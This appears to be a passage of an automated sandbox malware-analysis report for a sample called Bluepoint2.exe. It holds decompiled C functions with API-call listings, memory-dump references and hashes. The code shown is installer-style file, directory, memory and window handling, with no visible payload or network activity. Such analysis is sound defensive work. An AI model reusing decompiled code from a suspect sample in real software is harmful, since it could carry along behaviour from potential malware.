                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSend
                                                    • String ID:
                                                    • API String ID: 3850602802-0
                                                    • Opcode ID: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
                                                    • Instruction ID: af17251ef12b8b272b5eaf8d1bef107274ce64b6e67bb2dd4604cf2723900e86
                                                    • Opcode Fuzzy Hash: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
                                                    • Instruction Fuzzy Hash: 6F012831724220EBEB295B389D05B6A3698E710714F10857FF855F76F1E678CC029B6D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E00406A35(signed int _a4) {
                                                    				struct HINSTANCE__* _t5;
                                                    				signed int _t10;
                                                    
                                                    				_t10 = _a4 << 3;
                                                    				_t8 =  *(_t10 + 0x40a410);
                                                    				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
                                                    				if(_t5 != 0) {
                                                    					L2:
                                                    					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
                                                    				}
                                                    				_t5 = E004069C5(_t8); // executed
                                                    				if(_t5 == 0) {
                                                    					return 0;
                                                    				}
                                                    				goto L2;
                                                    			}





                                                    0x00406a3d
                                                    0x00406a40
                                                    0x00406a47
                                                    0x00406a4f
                                                    0x00406a5b
                                                    0x00000000
                                                    0x00406a62
                                                    0x00406a52
                                                    0x00406a59
                                                    0x00000000
                                                    0x00406a6a
                                                    0x00000000

                                                    APIs
                                                    • GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 00406A62
                                                      • Part of subcall function 004069C5: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
                                                      • Part of subcall function 004069C5: wsprintfW.USER32 ref: 00406A17
                                                      • Part of subcall function 004069C5: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                    • String ID:
                                                    • API String ID: 2547128583-0
                                                    • Opcode ID: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
                                                    • Instruction ID: 0464b4a7853edb7079d0776797c383171681067eb8499b99987f1e8ea9f8efb8
                                                    • Opcode Fuzzy Hash: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
                                                    • Instruction Fuzzy Hash: E0E086727042106AD210A6745D08D3773E8ABC6711307883EF557F2040D738DC359A79
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 68%
                                                    			E00406158(WCHAR* _a4, long _a8, long _a12) {
                                                    				signed int _t5;
                                                    				void* _t6;
                                                    
                                                    				_t5 = GetFileAttributesW(_a4); // executed
                                                    				asm("sbb ecx, ecx");
                                                    				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
                                                    				return _t6;
                                                    			}





                                                    0x0040615c
                                                    0x00406169
                                                    0x0040617e
                                                    0x00406184

                                                    APIs
                                                    • GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Bluepoint2.exe,80000000,00000003), ref: 0040615C
                                                    • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: File$AttributesCreate
                                                    • String ID:
                                                    • API String ID: 415043291-0
                                                    • Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
                                                    • Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
                                                    • Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
                                                    • Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E00406133(WCHAR* _a4) {
                                                    				signed char _t3;
                                                    				signed char _t7;
                                                    
                                                    				_t3 = GetFileAttributesW(_a4); // executed
                                                    				_t7 = _t3;
                                                    				if(_t7 != 0xffffffff) {
                                                    					SetFileAttributesW(_a4, _t3 & 0x000000fe);
                                                    				}
                                                    				return _t7;
                                                    			}





                                                    0x00406138
                                                    0x0040613e
                                                    0x00406143
                                                    0x0040614c
                                                    0x0040614c
                                                    0x00406155

                                                    APIs
                                                    • GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
                                                    • SetFileAttributesW.KERNEL32(?,00000000), ref: 0040614C
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: AttributesFile
                                                    • String ID:
                                                    • API String ID: 3188754299-0
                                                    • Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
                                                    • Instruction ID: 3e6336b5c460747e2e1e0fbe3c4db8defb42c0044e1a92967a1d29a512d2a4bc
                                                    • Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
                                                    • Instruction Fuzzy Hash: 73D0C972514130ABC2102728AE0889ABB56EB64271B014A35F9A5A62B0CB304C628A98
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E00405C16(WCHAR* _a4) {
                                                    				int _t2;
                                                    
                                                    				_t2 = CreateDirectoryW(_a4, 0); // executed
                                                    				if(_t2 == 0) {
                                                    					return GetLastError();
                                                    				}
                                                    				return 0;
                                                    			}




                                                    0x00405c1c
                                                    0x00405c24
                                                    0x00000000
                                                    0x00405c2a
                                                    0x00000000

                                                    APIs
                                                    • CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C
                                                    • GetLastError.KERNEL32 ref: 00405C2A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CreateDirectoryErrorLast
                                                    • String ID:
                                                    • API String ID: 1375471231-0
                                                    • Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
                                                    • Instruction ID: 66e62c5d6c7775ff4cea72667941029308d228c48495a605f612c1d2d9e1fc74
                                                    • Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
                                                    • Instruction Fuzzy Hash: FBC04C31218605AEE7605B219F0CB177A94DB50741F114839E186F40A0DA788455D92D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E004035F8(long _a4) {
                                                    				long _t2;
                                                    
                                                    				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
                                                    				return _t2;
                                                    			}




                                                    0x00403606
                                                    0x0040360c

                                                    APIs
                                                    • SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: FilePointer
                                                    • String ID:
                                                    • API String ID: 973152223-0
                                                    • Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
                                                    • Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
                                                    • Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
                                                    • Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E004045F9(int _a4) {
                                                    				long _t2;
                                                    
                                                    				_t2 = SendMessageW( *0x42a268, 0x28, _a4, 1); // executed
                                                    				return _t2;
                                                    			}




                                                    0x00404607
                                                    0x0040460d

                                                    APIs
                                                    • SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSend
                                                    • String ID:
                                                    • API String ID: 3850602802-0
                                                    • Opcode ID: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
                                                    • Instruction ID: 26063d6d883ff380d2e1d7f9fe2b9d631bf033e6200e0a233fd0d302f8c02db7
                                                    • Opcode Fuzzy Hash: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
                                                    • Instruction Fuzzy Hash: 5BB01235286A00FBDE614B00DE09F457E62F764B01F048078F741240F0CAB300B5DF19
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 32%
                                                    			E726F2B98(void* __ecx, intOrPtr _a4) {
                                                    				signed int _v8;
                                                    				void* _t28;
                                                    				void* _t29;
                                                    				void* _t33;
                                                    				void* _t37;
                                                    				void* _t40;
                                                    				void* _t45;
                                                    				void* _t49;
                                                    				signed int _t56;
                                                    				void* _t61;
                                                    				void* _t70;
                                                    				intOrPtr _t72;
                                                    				signed int _t77;
                                                    				intOrPtr _t79;
                                                    				intOrPtr _t80;
                                                    				void* _t81;
                                                    				void* _t87;
                                                    				void* _t88;
                                                    				void* _t89;
                                                    				void* _t90;
                                                    				intOrPtr _t93;
                                                    				intOrPtr _t94;
                                                    
                                                    				if( *0x726f5050 != 0 && E726F2ADB(_a4) == 0) {
                                                    					 *0x726f5054 = _t93;
                                                    					if( *0x726f504c != 0) {
                                                    						_t93 =  *0x726f504c;
                                                    					} else {
                                                    						E726F30C0(E726F2AD5(), __ecx);
                                                    						 *0x726f504c = _t93;
                                                    					}
                                                    				}
                                                    				_t28 = E726F2B09(_a4);
                                                    				_t94 = _t93 + 4;
                                                    				if(_t28 <= 0) {
                                                    					L9:
                                                    					_t29 = E726F2AFD();
                                                    					_t72 = _a4;
                                                    					_t79 =  *0x726f5058;
                                                    					 *((intOrPtr*)(_t29 + _t72)) = _t79;
                                                    					 *0x726f5058 = _t72;
                                                    					E726F2AF7();
                                                    					_t33 = VirtualAlloc(??, ??, ??, ??); // executed
                                                    					 *0x726f5034 = _t33;
                                                    					 *0x726f5038 = _t79;
                                                    					if( *0x726f5050 != 0 && E726F2ADB( *0x726f5058) == 0) {
                                                    						 *0x726f504c = _t94;
                                                    						_t94 =  *0x726f5054;
                                                    					}
                                                    					_t80 =  *0x726f5058;
                                                    					_a4 = _t80;
                                                    					 *0x726f5058 =  *((intOrPtr*)(E726F2AFD() + _t80));
                                                    					_t37 = E726F2AE9(_t80);
                                                    					_pop(_t81);
                                                    					if(_t37 != 0) {
                                                    						_t40 = E726F2B09(_t81);
                                                    						if(_t40 > 0) {
                                                    							_push(_t40);
                                                    							_push(E726F2B14() + _a4 + _v8);
                                                    							_push(E726F2B1E());
                                                    							if( *0x726f5050 <= 0 || E726F2ADB(_a4) != 0) {
                                                    								_pop(_t88);
                                                    								_pop(_t45);
                                                    								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
                                                    								if(__eflags == 0) {
                                                    								}
                                                    								asm("loop 0xfffffff5");
                                                    							} else {
                                                    								_pop(_t89);
                                                    								_pop(_t49);
                                                    								 *0x726f504c =  *0x726f504c +  *(_t89 + _t49) * 4;
                                                    								asm("loop 0xffffffeb");
                                                    							}
                                                    						}
                                                    					}
                                                    					_t107 =  *0x726f5058;
                                                    					if( *0x726f5058 == 0) {
                                                    						 *0x726f504c = 0;
                                                    					}
                                                    					E726F2B42(_t107, _a4,  *0x726f5034,  *0x726f5038);
                                                    					return _a4;
                                                    				}
                                                    				_push(E726F2B14() + _a4);
                                                    				_t56 = E726F2B1A();
                                                    				_v8 = _t56;
                                                    				_t77 = _t28;
                                                    				_push(_t68 + _t56 * _t77);
                                                    				_t70 = E726F2B26();
                                                    				_t87 = E726F2B22();
                                                    				_t90 = E726F2B1E();
                                                    				_t61 = _t77;
                                                    				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
                                                    					_push( *((intOrPtr*)(_t70 + _t61)));
                                                    				}
                                                    				_push( *((intOrPtr*)(_t87 + _t61)));
                                                    				asm("loop 0xfffffff1");
                                                    				goto L9;
                                                    			}

























                                                    0x726f2ba8
                                                    0x726f2bb9
                                                    0x726f2bc6
                                                    0x726f2bda
                                                    0x726f2bc8
                                                    0x726f2bcd
                                                    0x726f2bd2
                                                    0x726f2bd2
                                                    0x726f2bc6
                                                    0x726f2be3
                                                    0x726f2be8
                                                    0x726f2bee
                                                    0x726f2c32
                                                    0x726f2c32
                                                    0x726f2c37
                                                    0x726f2c3c
                                                    0x726f2c42
                                                    0x726f2c44
                                                    0x726f2c4a
                                                    0x726f2c57
                                                    0x726f2c59
                                                    0x726f2c5e
                                                    0x726f2c6b
                                                    0x726f2c7e
                                                    0x726f2c84
                                                    0x726f2c8a
                                                    0x726f2c8b
                                                    0x726f2c91
                                                    0x726f2c9d
                                                    0x726f2ca3
                                                    0x726f2cab
                                                    0x726f2cac
                                                    0x726f2caf
                                                    0x726f2cba
                                                    0x726f2cbc
                                                    0x726f2cc8
                                                    0x726f2cce
                                                    0x726f2cd6
                                                    0x726f2d02
                                                    0x726f2d03
                                                    0x726f2d05
                                                    0x726f2d09
                                                    0x726f2d09
                                                    0x726f2d10
                                                    0x726f2ce6
                                                    0x726f2ce6
                                                    0x726f2ce7
                                                    0x726f2cf5
                                                    0x726f2cfe
                                                    0x726f2cfe
                                                    0x726f2cd6
                                                    0x726f2cba
                                                    0x726f2d12
                                                    0x726f2d19
                                                    0x726f2d1b
                                                    0x726f2d1b
                                                    0x726f2d34
                                                    0x726f2d42
                                                    0x726f2d42
                                                    0x726f2bf9
                                                    0x726f2bfa
                                                    0x726f2bff
                                                    0x726f2c03
                                                    0x726f2c08
                                                    0x726f2c1c
                                                    0x726f2c1d
                                                    0x726f2c1e
                                                    0x726f2c20
                                                    0x726f2c25
                                                    0x726f2c27
                                                    0x726f2c27
                                                    0x726f2c2a
                                                    0x726f2c30
                                                    0x00000000

                                                    APIs
                                                    • VirtualAlloc.KERNELBASE(00000000), ref: 726F2C57
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: AllocVirtual
                                                    • String ID:
                                                    • API String ID: 4275171209-0
                                                    • Opcode ID: b6687304a5f67cee91cdb38db6c656375bdffcbdc243986727bf21ea157d9de8
                                                    • Instruction ID: db86999a8b7024d4cc615f816fef3293ce4c5c4048acb1e7ddd34c4bdfa603d4
                                                    • Opcode Fuzzy Hash: b6687304a5f67cee91cdb38db6c656375bdffcbdc243986727bf21ea157d9de8
                                                    • Instruction Fuzzy Hash: 50417B72900244EBDF119F6DD989B5D3B76FB44358F30882BEA05C65C4D6389AC1CF95
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E726F12BB() {
                                                    				void* _t3;
                                                    
                                                    				_t3 = GlobalAlloc(0x40,  *0x726f506c +  *0x726f506c); // executed
                                                    				return _t3;
                                                    			}




                                                    0x726f12c5
                                                    0x726f12cb

                                                    APIs
                                                    • GlobalAlloc.KERNELBASE(00000040,?,726F12DB,?,726F137F,00000019,726F11CA,-000000A0), ref: 726F12C5
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: AllocGlobal
                                                    • String ID:
                                                    • API String ID: 3761449716-0
                                                    • Opcode ID: e32960f3195f0d859818762c10e6cbf9ee15f1ae28d11f0f0c0ed7bdf4a3a19a
                                                    • Instruction ID: 2975e428a272400c96cb8302908f695a6eb06434c7ea0c78528cc9fd68a182d8
                                                    • Opcode Fuzzy Hash: e32960f3195f0d859818762c10e6cbf9ee15f1ae28d11f0f0c0ed7bdf4a3a19a
                                                    • Instruction Fuzzy Hash: E4B01272A80140FFEF008B65CC0EF3C3254E700301F144405F700C0984C5204D808534
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 95%
                                                    			E00405809(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
                                                    				struct HWND__* _v8;
                                                    				long _v12;
                                                    				struct tagRECT _v28;
                                                    				void* _v36;
                                                    				signed int _v40;
                                                    				int _v44;
                                                    				int _v48;
                                                    				signed int _v52;
                                                    				int _v56;
                                                    				void* _v60;
                                                    				void* _v68;
                                                    				void* __ebx;
                                                    				void* __edi;
                                                    				void* __esi;
                                                    				struct HWND__* _t94;
                                                    				long _t95;
                                                    				int _t100;
                                                    				void* _t108;
                                                    				intOrPtr _t130;
                                                    				struct HWND__* _t134;
                                                    				int _t156;
                                                    				int _t159;
                                                    				struct HMENU__* _t164;
                                                    				struct HWND__* _t168;
                                                    				struct HWND__* _t169;
                                                    				int _t171;
                                                    				void* _t172;
                                                    				short* _t173;
                                                    				short* _t175;
                                                    				int _t177;
                                                    
                                                    				_t169 =  *0x429244;
                                                    				_t156 = 0;
                                                    				_v8 = _t169;
                                                    				if(_a8 != 0x110) {
                                                    					if(_a8 == 0x405) {
                                                    						CloseHandle(CreateThread(0, 0, E0040579D, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
                                                    					}
                                                    					if(_a8 != 0x111) {
                                                    						L17:
                                                    						_t171 = 1;
                                                    						if(_a8 != 0x404) {
                                                    							L25:
                                                    							if(_a8 != 0x7b) {
                                                    								goto L20;
                                                    							}
                                                    							_t94 = _v8;
                                                    							if(_a12 != _t94) {
                                                    								goto L20;
                                                    							}
                                                    							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
                                                    							_a8 = _t95;
                                                    							if(_t95 <= _t156) {
                                                    								L36:
                                                    								return 0;
                                                    							}
                                                    							_t164 = CreatePopupMenu();
                                                    							AppendMenuW(_t164, _t156, _t171, E004066A5(_t156, _t164, _t171, _t156, 0xffffffe1));
                                                    							_t100 = _a16;
                                                    							_t159 = _a16 >> 0x10;
                                                    							if(_a16 == 0xffffffff) {
                                                    								GetWindowRect(_v8,  &_v28);
                                                    								_t100 = _v28.left;
                                                    								_t159 = _v28.top;
                                                    							}
                                                    							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
                                                    								_v60 = _t156;
                                                    								_v48 = 0x423748;
                                                    								_v44 = 0x1000;
                                                    								_a4 = _a8;
                                                    								do {
                                                    									_a4 = _a4 - 1;
                                                    									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
                                                    								} while (_a4 != _t156);
                                                    								OpenClipboard(_t156);
                                                    								EmptyClipboard();
                                                    								_t108 = GlobalAlloc(0x42, _t171 + _t171);
                                                    								_a4 = _t108;
                                                    								_t172 = GlobalLock(_t108);
                                                    								do {
                                                    									_v48 = _t172;
                                                    									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
                                                    									 *_t173 = 0xd;
                                                    									_t175 = _t173 + 2;
                                                    									 *_t175 = 0xa;
                                                    									_t172 = _t175 + 2;
                                                    									_t156 = _t156 + 1;
                                                    								} while (_t156 < _a8);
                                                    								GlobalUnlock(_a4);
                                                    								SetClipboardData(0xd, _a4);
                                                    								CloseClipboard();
                                                    							}
                                                    							goto L36;
                                                    						}
                                                    						if( *0x42922c == _t156) {
                                                    							ShowWindow( *0x42a268, 8);
                                                    							if( *0x42a2ec == _t156) {
                                                    								E004056CA( *((intOrPtr*)( *0x422720 + 0x34)), _t156);
                                                    							}
                                                    							E0040459D(_t171);
                                                    							goto L25;
                                                    						}
                                                    						 *0x421f18 = 2;
                                                    						E0040459D(0x78);
                                                    						goto L20;
                                                    					} else {
                                                    						if(_a12 != 0x403) {
                                                    							L20:
                                                    							return E0040462B(_a8, _a12, _a16);
                                                    						}
                                                    						ShowWindow( *0x429230, _t156);
                                                    						ShowWindow(_t169, 8);
                                                    						E004045F9(_t169);
                                                    						goto L17;
                                                    					}
                                                    				}
                                                    				_v52 = _v52 | 0xffffffff;
                                                    				_v40 = _v40 | 0xffffffff;
                                                    				_t177 = 2;
                                                    				_v60 = _t177;
                                                    				_v56 = 0;
                                                    				_v48 = 0;
                                                    				_v44 = 0;
                                                    				asm("stosd");
                                                    				asm("stosd");
                                                    				_t130 =  *0x42a270;
                                                    				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
                                                    				_a12 =  *((intOrPtr*)(_t130 + 0x60));
                                                    				 *0x429230 = GetDlgItem(_a4, 0x403);
                                                    				 *0x429228 = GetDlgItem(_a4, 0x3ee);
                                                    				_t134 = GetDlgItem(_a4, 0x3f8);
                                                    				 *0x429244 = _t134;
                                                    				_v8 = _t134;
                                                    				E004045F9( *0x429230);
                                                    				 *0x429234 = E00404F52(4);
                                                    				 *0x42924c = 0;
                                                    				GetClientRect(_v8,  &_v28);
                                                    				_v52 = _v28.right - GetSystemMetrics(_t177);
                                                    				SendMessageW(_v8, 0x1061, 0,  &_v60);
                                                    				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
                                                    				if(_a8 >= 0) {
                                                    					SendMessageW(_v8, 0x1001, 0, _a8);
                                                    					SendMessageW(_v8, 0x1026, 0, _a8);
                                                    				}
